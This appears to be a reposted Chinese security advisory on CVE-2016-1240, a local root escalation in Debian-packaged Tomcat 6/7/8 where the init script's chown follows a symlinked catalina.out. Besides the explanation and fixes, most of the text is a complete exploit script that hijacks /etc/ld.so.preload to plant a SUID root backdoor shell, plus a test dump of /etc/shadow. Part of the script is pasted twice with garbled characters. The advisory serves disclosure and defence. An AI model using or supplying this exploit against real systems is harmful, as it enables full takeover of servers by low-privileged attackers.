Tomcat 服务本地提权漏洞预警

<section class="" data-custom="#3CA4F8" data-color="#3CA4F8" data-tools="135编辑器" data-id="52"><section><section class="">from:长亭科技订阅号

10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。

漏洞相关信息
CVE ID:

 <li>CVE-2016-1240

漏洞原理:

在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。

该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:

171  

  # Run the catalina.sh script as a daemon
  set +e 

  touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
  chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
  start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \
  -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \
  -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"
  status="$?"  
  set +a -e

在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。

利用分析:

该漏洞利用难度不大且场景常见,攻击者在上传webshell后拿到Tomcat用户权限,将catalina.out修改为指向 /etc/shadow 的softlink文件,启动脚本运行后,Tomcat用户将对 /etc/shadow 有访问权限,今读取修改root用户密码,测试如下:

➜ ~ su tomcat6 -c "head /var/log/tomcat6/catalina.out"
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil e WARNING: Problem with directory [/usr/share/tomcat6/common/classes], exists: [fa lse],

isDirectory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

le

WARNING: Problem with directory [/usr/share/tomcat6/common], exists: [false], isD

irec

tory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil

e

WARNING: Problem with directory [/usr/share/tomcat6/server/classes], exists: [fal

se],

isDirectory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

le

WARNING: Problem with directory [/usr/share/tomcat6/server], exists: [false], isD

irec

tory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

le

WARNING: Problem with directory [/usr/share/tomcat6/shared/classes], exists: [fal

se],

isDirectory: [false], canRead: [false]

➜ ~ su tomcat6 -c "ln -fs /etc/shadow /var/log/tomcat6/catalina.out"

➜ ~ su tomcat6 -c "head /var/log/tomcat6/catalina.out"
head: cannot open '/var/log/tomcat6/catalina.out' for reading: Permission denied

➜ ~ service tomcat6 start

➜ ~ su tomcat6 -c "head /var/log/tomcat6/catalina.out" root:$6$RYhPkXbD$6w2cN3u44Q 01gpHPMEjo9fgMXr7..1:16993:0:99999:7::: daemon::16911:0:99999:7::: bin::16911:0:99999:7:::
sys::16911:0:99999:7:::
sync::16911:0:99999:7:::
games::16911:0:99999:7:::
man::16911:0:99999:7:::
lp::16911:0:99999:7:::
mail::16911:0:99999:7:::
news:*:16911:0:99999:7:::

该漏洞发现者也在报告公开 PoC, 利用也很有趣,作者不甘于单纯的文件操作,巧妙利用获得了一个root权限的shell

#!/bin/bash

 BACKDOORSH="/bin/bash"

BACKDOORPATH="/tmp/tomcatrootsh"

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

    # Cleanup

    echo -e "n[+] Cleaning up..."

    rm -f $PRIVESCSRC

    rm -f $PRIVESCLIB

    rm -f $TOMCATLOG

    touch $TOMCATLOG

    if [ -f /etc/ld.so.preload ]; then

        echo -n > /etc/ld.so.preload 2>/dev/null

    fi

    echo -e "n[+] Job done. Exiting with code $1 n"

exit $1 }

function ctrl_c() {

        echo -e "n[+] Active exploitation aborted. Remember you can use -deferred

 switch for deferred exploitation."

    cleanexit 0

}

#intro

echo -e "033[94m nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es

calation ExploitnCVE-2016-1240n"

echo -e "Discovered and coded by: nnDawid Golunski nhttp://legalhackers.com 03

3[0m"

# Args

if [ $# -lt 1 ]; then

    echo -e "n[!] Exploit usage: nn$0 path_to_catalina.out [-deferred]n"

exit 3 fi

if [ "$2" = "-deferred" ]; then

    mode="deferred"

else

    mode="active"

fi

# Priv check

echo -e "n[+] Starting the exploit in [033[94m$mode033[0m] mode with the follow

ing privileges: nid"

id | grep -q tomcat

if [ $? -ne 0 ]; then

echo -e "n[!] You need to execute the exploit as tomcat user! Exiting.n"

#!/bin/bash

 BACKDOORSH="/bin/bash"

BACKDOORPATH=”/TMP/tomcatrootsh

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

    # Cleanup

    echo -e "n[+] Cleaning up..."

    rm -f $PRIVESCSRC

    rm -f $PRIVESCLIB

    rm -f $TOMCATLOG

    touch $TOMCATLOG

    if [ -f /etc/ld.so.preload ]; then

        echo -n > /etc/ld.so.preload 2>/dev/null

    fi

    echo -e "n[+] Job done. Exiting with code $1 n"

exit $1 }

function ctrl_c() {

        echo -e "n[+] Active exploitation aborted. Remember you can use -deferred

 switch for deferred exploitation."

    cleanexit 0

}

#intro

echo -e "033[94m nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es

calation ExploitnCVE-2016-1240n"

echo -e "Discovered and coded by: nnDawid Golunski nhttp://legalhackers.com 03

3[0m"

# Args

if [ $# -lt 1 ]; then

    echo -e "n[!] Exploit usage: nn$0 path_to_catalina.out [-deferred]n"

exit 3 fi

if [ "$2" = "-deferred" ]; then

    mode="deferred"

else

    mode="active"

fi

# Priv check

echo -e "n[+] Starting the exploit in [033[94m$mode033[0m] mode with the follow

ing privileges: nid"

id | grep -q tomcat

if [ $? -ne 0 ]; then

echo -e "n[!] You need to execute the exploit as tomcat user! Exiting.n"

exit 3

fi

# Set target paths

TOMCATLOG="$1"

if [ ! -f $TOMCATLOG ]; then

    echo -e "n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exis

t. Try again.n"

exit 3 fi

echo -e "n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on de

fault

# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation

 cronjob around 6:25am.

# Attackers can freely add their commands to the /etc/default/locale script after

Tomcat has been

# restarted and file owner gets changed.

if [ "$mode" = "deferred" ]; then

    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG

    if [ $? -ne 0 ]; then

        echo -e "n[!] Couldn't remove the $TOMCATLOG file or create a symlink."

        cleanexit 3

    fi

    echo -e  "n[+] Symlink created at: nls -l $TOMCATLOG"

    echo -e  "n[+] The current owner of the file is: n`ls -l /etc/default/locale

`"

    echo -ne "n[+] Keep an eye on the owner change on /etc/default/locale . After

 the Tomcat restart / system reboot"

    echo -ne "n    you'll be able to add arbitrary commands to the file which wil

l get executed with root privileges"

    echo -ne "n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. S

ee also -active mode if you can't wait ;)nn"

exit 0 fi

# [ Active exploitation ]

trap ctrl_c INT

# Compile privesc preload library

echo -e "n[+] Compiling the privesc shared library ($PRIVESCSRC)"

cat <<_solibeof_>$PRIVESCSRC

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/stat.h>

#include<unistd.h>

#include <dlfcn.h>

uid_t geteuid(void) {

    static uid_t  (*old_geteuid)();

    old_geteuid = dlsym(RTLD_NEXT, "geteuid");

    if ( old_geteuid() == 0 ) {

        chown("$BACKDOORPATH", 0, 0);

        chmod("$BACKDOORPATH", 04777);

        unlink("/etc/ld.so.preload");

}

    return old_geteuid();

}

solibeof

gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl

if [ $? -ne 0 ]; then

    echo -e "n[!] Failed to compile the privesc lib $PRIVESCSRC."

    cleanexit 2;

fi

# Prepare backdoor shell

cp $BACKDOORSH $BACKDOORPATH

echo -e "n[+] Backdoor/low-priv shell installed at: nls -l $BACKDOORPATH"

# Safety check

if [ -f /etc/ld.so.preload ]; then

    echo -e "n[!] /etc/ld.so.preload already exists. Exiting for safety."

    cleanexit 2

fi

# Symlink the log file to ld.so.preload

rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG

if [ $? -ne 0 ]; then

    echo -e "n[!] Couldn't remove the $TOMCATLOG file or create a symlink."

    cleanexit 3

fi

echo -e "n[+] Symlink created at: nls -l $TOMCATLOG"

# Wait for Tomcat to re-open the logs

echo -ne "n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."

echo -e  "nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat

user) if needed ;)"

while :; do

    sleep 0.1

    if [ -f /etc/ld.so.preload ]; then

        echo $PRIVESCLIB > /etc/ld.so.preload

break; fi

done

 # /etc/ld.so.preload file should be owned by tomcat user at this point

 # Inject the privesc.so shared library to escalate privileges

 echo $PRIVESCLIB > /etc/ld.so.preload

 echo -e "n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomc

 at privileges: nls -l /etc/ld.so.preload"

 echo -e "n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"

 echo -e "n[+] The /etc/ld.so.preload file now contains: n`cat /etc/ld.so.preload

 `"

 # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)

 echo -e "n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"

 sudo --help 2>/dev/null >/dev/null

 # Check for the rootshell

 ls -l $BACKDOORPATH | grep rws | grep -q root

 if [ $? -eq 0 ]; then

     echo -e "n[+] Rootshell got assigned root SUID perms at: n`ls -l $BACKDOORPA

 TH`"

     echo -e "n033[94mPlease tell me you're seeing this too ;) 033[0m"

 else

     echo -e "n[!] Failed to get root"

     cleanexit 2

 fi

 # Execute the rootshell

 echo -e "n[+] Executing the rootshell $BACKDOORPATH now! n"

 $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"

 $BACKDOORPATH -p

 # Job done.

 cleanexit 0
 

可以看到,PoC中主要的几个流程, 首先利用Tomcat启动脚本chown的缺陷把/etc/ld_preload.so变成有权限改写,然后加入自己的ldpreload,最后在自己的ldpreload里面给backdoor加上setuid权限,这样Tomcat重启以后backdoor就是root权限带suid了。

影响范围:

deb打包的所有Tomcat6/7/8等版本均受到影响

应急修复方案:

1.临时修复建议

若担心更新有兼容问题,可更改Tomcat的启动脚本为 chown -h $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

加入 - h参数防止其他文件所有者被更改。

 

2. 更新最新Tomcat包

Debian安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。

</section></section></section></section>

发表评论